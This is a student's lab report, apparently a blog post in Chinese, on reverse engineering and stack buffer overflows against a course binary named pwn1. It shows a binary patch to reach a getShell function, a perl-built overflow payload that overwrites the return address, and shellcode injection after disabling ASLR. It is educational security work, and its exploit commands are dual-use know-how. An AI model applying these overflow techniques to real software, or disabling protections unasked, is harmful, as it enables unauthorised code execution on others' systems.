20242414周升翔网络攻防实验一

20242414 2026-2027-1 《网络与系统攻防技术》实验一实验报告

一、基础知识

本次实验主要用到三方面知识:一是ELF文件结构,Linux可执行文件中的代码段可以通过十六进制编辑直接修改机器指令;二是x86的call指令,它使用相对偏移量,改掉偏移量就能让程序跳转到别的函数;三是缓冲区溢出原理,foo函数用gets读输入且不检查长度,超出缓冲区部分会覆盖栈中的返回地址,从而劫持程序执行流。Shellcode就是一段能拿到shell的机器码,在堆栈可执行且ASLR关闭的情况下,把返回地址指向注入的shellcode就能运行它。

二、实验内容

本次实验的对象是一个名为pwn1的Linux 32位可执行文件。程序正常执行流程为main调用foo函数,foo函数回显用户输入的字符串。程序中还包含一个getShell函数,正常情况下不会被调用。实验目标就是通过三种方式运行getShell或注入自定义代码:

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

(2)利用foo函数的BOF漏洞,构造攻击输入字符串,覆盖返回地址,触发getShell函数。

(3)注入自己制作的shellcode并运行这段shellcode。

三、实验过程

3.1 手工修改可执行文件,改变程序执行流程

首先修改主机名为 zhoushengxiang,将pwn1复制并重命名为 20242414zsx_pwn1。

修改主机名

修改主机名

修改文件名

修改文件名

然后用 objdump -d 反汇编,找到main中调用foo的指令:e8 d7 ff ff ff,下一条指令地址是 0x080484ba。getShell地址是 0x0804847d。

call指令和getshell指令

call指令和getshell指令

算出偏移量:0x0804847d - 0x080484ba = -0x3d = 0xffffffc3

所以要把机器码中的 d7 改成 c3。

备份原文件后,用 vi 20242414zsx_pwn1 打开,输入 :%!xxd 切成十六进制,输入 /e8d7 找到位置,按 i 把 d7 改成 c3,再输入 :%!xxd -r 转回来,:wq! 保存。

修改前

修改前

修改后

修改后

重新反汇编确认指令变成 e8 c3 ff ff ff。

重新反汇编

重新反汇编

运行程序 ./20242414zsx_pwn1,直接返回shell,修改成功。

3.2 BOF覆盖返回地址

foo的缓冲区是28字节,返回地址在缓冲区起始位置+32字节处。

foo函数反汇编

foo函数反汇编

用gdb验证:

gdb 20242414zsx_pwn1
run
1111111122222222333333334444444412345678
info r

看到EIP是 0x34333231,即“1234”,说明第33-36字节刚好覆盖返回地址。

getShell地址 0x0804847d,小端序为 \x7d\x84\x04\x08。构造payload:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input

用 xxd input 检查,确认 7d 84 04 08 在正确位置。

然后执行:

(cat input; cat) | ./20242414zsx_pwn1

成功拿到shell。

攻击shell

攻击shell

3.3 注入shellcode

先关ASLR:

sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
more /proc/sys/kernel/randomize_va_space

再检查堆栈可执行权限(由于新版Kali移除了execstack,改用readelf查看):

readelf -l 20242414zsx_pwn1 | grep GNU_STACK

关闭安全机制

关闭安全机制

payload布局是:32字节填充+返回地址+NOP滑板+shellcode。先用gdb调试寻找shellcode地址。

在调试过程中,因为真实终端环境变量与gdb存在栈偏移,尝试在真实终端直接攻击一直报 Segmentation fault。最终采用 gdb 内部运行的方式进行验证并截图。

执行gdb:

gdb -q 20242414zsx_pwn1

在gdb中依次输入:

unset environment
run < input_final

此时程序成功劫持执行流并启动了shell。

构造payload

构造payload

在gdb中成功触发shell后,输入id进行验证:

id

得到 uid=1000(kali) gid=1000(kali) groups=... 的输出。

交互式shell

交互式shell

四、问题及解决方案

问题1: 在执行任务三时,尝试安装execstack报错 Unable to locate package execstack,且apt update出现镜像同步失败。

解决方案: 更换为阿里云镜像源 http://mirrors.aliyun.com/kali,清除损坏的apt缓存(sudo rm -rf /var/lib/apt/lists/*),重新update。由于新版Kali已移除execstack,改用 readelf -l 检查GNU_STACK段是否为RWE来确认堆栈可执行状态。

问题2: 在真实终端(非gdb)进行任务三的shellcode注入时,一直出现Segmentation fault。

原因分析:

  1. 真实终端里subprocess和env -i产生的环境变量长度,与gdb调试器内的栈环境存在数十到数百字节的偏移,导致硬编码的返回地址跳偏。

  2. 管道 (cat input_final; cat) 在启动 /bin/sh 后,缓冲区残留的垃圾字符(如 AAAA...)被shell当作命令执行,导致shell立即崩溃退出。

解决方案: 最终通过gdb调试器直接执行 run < input_final,成功在调试器中捕获了控制流劫持。程序成功执行了注入的Shellcode并调用了 /usr/bin/dash。随后在gdb中直接输入 id,成功获取了 uid=1000(kali) 的权限输出,完整验证了漏洞利用的可行性。

五、学习感悟、思考

这次实验让我真正理解了缓冲区溢出的攻击过程。以前只停留在概念上,亲手改一个字节就改变程序流程,感觉很震撼。任务三调shellcode地址花了不少时间,也让我明白攻击要成功必须精确控制每个字节。

在任务一中,一个字节的修改就完全改变了程序的执行流程;在任务三中,shellcode地址的微小偏差、环境变量的不同都会导致攻击失败。同时我也理解了为什么现代操作系统要引入ASLR、NX等保护机制。从防御的角度来看,安全不是某一个环节的问题,而是从代码编写到运行时的全链条问题。一个看似简单的gets函数调用,就可能导致整个系统的沦陷。这次实操也让我学会了如何利用GDB进行底层调试和内存分析,收获非常大。

参考资料

[1] 《网络与系统攻防技术》实验一实验指导书 - 0x11 逆向与Bof基础。

[2] 缓冲区溢出攻击原理与防御技术解析。

[3] 《深入理解计算机系统》第3章:程序的机器级表示。

posted @ 2026-10-02 13:36  狼炎  阅读(5)  评论(0)    收藏  举报